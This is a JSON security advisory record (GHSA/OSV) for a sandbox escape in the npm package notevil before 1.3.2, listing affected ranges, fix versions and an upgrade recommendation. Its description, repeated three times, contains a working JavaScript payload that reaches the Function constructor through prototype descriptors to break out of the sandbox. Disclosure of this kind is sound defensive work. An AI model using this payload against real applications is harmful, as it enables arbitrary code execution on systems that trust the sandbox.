{"id":"GHSA-7r5f-7qr4-pf6q","aliases":[],"status":"published","title":"Sandbox Breakout / Arbitrary Code Execution in notevil","description":"Versions of `notevil` prior to 1.3.2 are vulnerable to Sandbox Escape leading to Remote Code Execution. The package fails to prevent access to the `Function` constructor by not checking the return values of function calls. This allows attackers to access the Function prototype's constructor leading to the Sandbox Escape. An example payload is:  \n```\nvar safeEval = require('notevil')\nvar input = \"\" + \n\"function fn() {};\" + \n\"var constructorProperty = Object.getOwnPropertyDescriptors(fn.__proto__).constructor;\" + \n\"var properties = Object.values(constructorProperty);\" + \n\"properties.pop();\" + \n\"properties.pop();\" + \n\"properties.pop();\" + \n\"var Function = properties.pop();\" + \n\"(Function('return this'))()\"; \nsafeEval(input)```\n\n\n## Recommendation\n\nUpgrade to version 1.3.2 or later.","facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"published":"2020-09-03T19:03:33Z","modified":"2023-01-09T05:04:20Z","fixes":[{"ecosystem":"npm","package":"notevil","fixed_in":["1.3.2"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"notevil","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.3.2"}]}]},{"source":"osv","ecosystem":"npm","package":"notevil","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"1.3.2"}]}]}],"references":[{"url":"https://www.npmjs.com/advisories/1093","tags":["web"]},{"url":"https://github.com/advisories/GHSA-7r5f-7qr4-pf6q"}],"sources":{"ghsa":[{"id":"GHSA-7r5f-7qr4-pf6q","title":"Sandbox Breakout / Arbitrary Code Execution in notevil","description":"Versions of `notevil` prior to 1.3.2 are vulnerable to Sandbox Escape leading to Remote Code Execution. The package fails to prevent access to the `Function` constructor by not checking the return values of function calls. This allows attackers to access the Function prototype's constructor leading to the Sandbox Escape. An example payload is:  \n```\nvar safeEval = require('notevil')\nvar input = \"\" + \n\"function fn() {};\" + \n\"var constructorProperty = Object.getOwnPropertyDescriptors(fn.__proto__).constructor;\" + \n\"var properties = Object.values(constructorProperty);\" + \n\"properties.pop();\" + \n\"properties.pop();\" + \n\"properties.pop();\" + \n\"var Function = properties.pop();\" + \n\"(Function('return this'))()\"; \nsafeEval(input)```\n\n\n## Recommendation\n\nUpgrade to version 1.3.2 or later.","status":"published","published":"2020-09-03T19:03:33Z","modified":"2023-01-09T05:04:20Z","updated_at":"2026-11-02T14:36:09.554044Z"}],"osv":[{"id":"GHSA-7r5f-7qr4-pf6q","title":"Sandbox Breakout / Arbitrary Code Execution in notevil","description":"Versions of `notevil` prior to 1.3.2 are vulnerable to Sandbox Escape leading to Remote Code Execution. The package fails to prevent access to the `Function` constructor by not checking the return values of function calls. This allows attackers to access the Function prototype's constructor leading to the Sandbox Escape. An example payload is:  \n```\nvar safeEval = require('notevil')\nvar input = \"\" + \n\"function fn() {};\" + \n\"var constructorProperty = Object.getOwnPropertyDescriptors(fn.__proto__).constructor;\" + \n\"var properties = Object.values(constructorProperty);\" + \n\"properties.pop();\" + \n\"properties.pop();\" + \n\"properties.pop();\" + \n\"var Function = properties.pop();\" + \n\"(Function('return this'))()\"; \nsafeEval(input)```\n\n\n## Recommendation\n\nUpgrade to version 1.3.2 or later.","status":"published","published":"2020-09-03T19:03:33Z","modified":"2020-08-31T18:47:00Z","updated_at":"2026-11-02T15:46:41.349637Z"}]}}
